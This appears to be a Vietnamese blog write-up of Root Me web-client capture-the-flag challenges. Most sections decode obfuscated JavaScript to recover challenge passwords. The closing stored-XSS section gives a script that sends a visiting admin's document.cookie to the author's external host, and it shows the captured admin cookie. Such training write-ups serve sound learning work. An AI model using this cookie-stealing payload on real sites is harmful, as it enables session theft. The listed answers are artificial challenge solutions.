Root Me Web - Client

Root Me Web - Client

    Xin chào ae ! Sau khi được anh Tuệ gợi ý về một số key word về CTF.
Mình đã bắt đầu với Root Me. Mình viết bài với mục đích chia sẻ và lưu lại những việc mình làm để hôm nào có thể xem lại.


HTML - disabled buttons

Inspect sẽ thấy có 2 thẻ input dùng thuộc tính disabled. 


Mình edit html > xóa 2 chứ disable ấy đi rồi viết đại gì vào. 



Javascript - Authentication

Vảo sẽ thấy bắt nhập username và password. Mình mở view source và để ý thẻ form


Bấm vào login.js sẽ thấy điều đặc biệt. Username = 4dm1n  , pass = sh.org
Và " You an validate the challenge using this password "

Javascript - Source

Mở view source rồi submit thôi. Nhìn phát biết ngay pass là 123456azerty luôn.

Javascript - Authentication 2


Cũng giống bài Javascript - Authentication. Vào view source rồi vào login.js và cũng chỉ quan tâm các dòng sau. Không cần phải code củng gì


Đấy. Hàm split(":") sẽ cắt chuỗi TheLists ngay chỗ có dấu :
Nên username = GOD và password = HIDDEN lấy HIDDEN mà submit flag luôn cũng được 

Javascript - Obfuscation 1

Mở view source thì sẽ có dòng thế này : 
pass = '%63%70%61%73%62%69%65%6e%64%75%72%70%61%73%73%77%6f%72%64';
Đây là dạng mã hóa xáo trộn khiến cho người khó hiểu nhưng máy thì vẫn hiểu mà chạy được. Một loại mã hóa của Javascipt.
Không phải suy nghĩ nhiều decode online đầy ý mà. Dưới đây là một trang decoe Obfuscation điển hình: Decode js
Cái chuỗi đó sẽ ra thế này: cpasbiendurpassword
Loại URLencode.

Javascript - Obfuscation 2

Vẫn là loại mã hóa này nhưng mà đánh đố hơn thôi
Mình sẽ thấy được đoạn như thế này : 
var pass = unescape("unescape%28%22String.fromCharCode%2528104%252C68%252C117%252C102%252C106%252C100%252C107%252C105%252C49%252C53%252C54%2529%22%29");

OK. Mình chỉ để ý cái phần được in đen thôi. Lại decode js
Vẫn là loại URLencode nhưng chuỗi này được mà hóa 2 lần. Có nghĩa là khi lập trình thì lập trình viên mã hóa 1 lần rồi và tiếp tục mã hóa thêm 1 lần nữa. Thế nên mình sẽ bấm vào nút Continue decoding
Xong, ta sẽ được chuỗi số: (104, 68, 117, 102, 106, 100, 107, 105, 49, 53, 54)
Đây là chuỗi số ASCII. Đối sang chữ thôi. Mình sẽ dùng javascipt trên trình duyệt luôn cho nhanh. Cuối cùng sẽ được chuỗi pass = hDufjdki156

Javascript - Native code

Mở view souce lên sẽ thấy trong thẻ <script> một mớ hỗn độn. Copy tất mớ đó mà decode thử xem. À được này. Loại encode JSFuck oh Fuck kìa. Hí hí. 
Nó sẽ ra đoạn code này: 
a = prompt('Entrez le mot de passe');if (a == 'toto123lol') {    alert('bravo');} else {    alert('fail...');}

Đấy. Xong rồi pass chính là toto123lol. Quất nó.

Javascript - Obfuscation 3

Cũng mở source lên . Ờ sao dòng này đáng nghi ngờ thế nhỉ. Chắc phải giấu gì mới cho nó mã hóa thế
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
Decode Obfuscation không được. Đi search một lúc thì biết đây là hex . OK> Dịch qua ascii thôi. Tôi dùng trang này /Hexdecoder/ và được
55,56,54,79,115,69,114,116,107,49,50
Xong. String.fromCharCode(55,56,54,79,115,69,114,116,107,49,50) thì được 786OsErtk12

XSS - Stored 1 - Cross Site Scripting

Challenge này lúc vào sẽ có một form gửi thư.
Đầu tiên mình thử dùng đoạn script check XSS : <script>alert("XSS")</script>
Có thể nó sẽ không được khi mà trình duyệt bạn tự lọc. Tuy nhiên nó đã gửi lên server và lưu xuống dưới rồi. Mở source lên sẽ thấy đoạn script mới nhập vào. Mình sẽ tặt tab ấy đi và mở lại sẽ thấy như thế này. 
OK. Nó có thể bị tấn công XSS . 
Cơ chế của trang này là thế này. Đó là mình sẽ gửi thư , thư sẽ lưu ở ngay trang này. Sau khoảng 5 - 10 phút thì admin sẽ vào đọc tin nhắn. 
Bây giờ mình muốn khi ad vào trang này thì sẽ chuyển trang lấy cookie luôn. 
Làm thôi: Mình có một host sẵn trên 000webhostapp
Tạo một file getcookie.php và một file cookie.txt để lưu cookie. Các bạn có thể tham khảo trên j2tem

Chèn script này thôi: <script>window.location = "https://vovanlaptopcf.000webhostapp.com/getcookie.php?cookie="+document.cookie+" "</script>

Xong. Ngồi chờ f5 lại trang cookie.txt ta được: 
ADMIN_COOKIE= NkI9qe4cdLIO2P7MIsWS8ofD6
Submit nó lấy 30 điểm. 

Nhận xét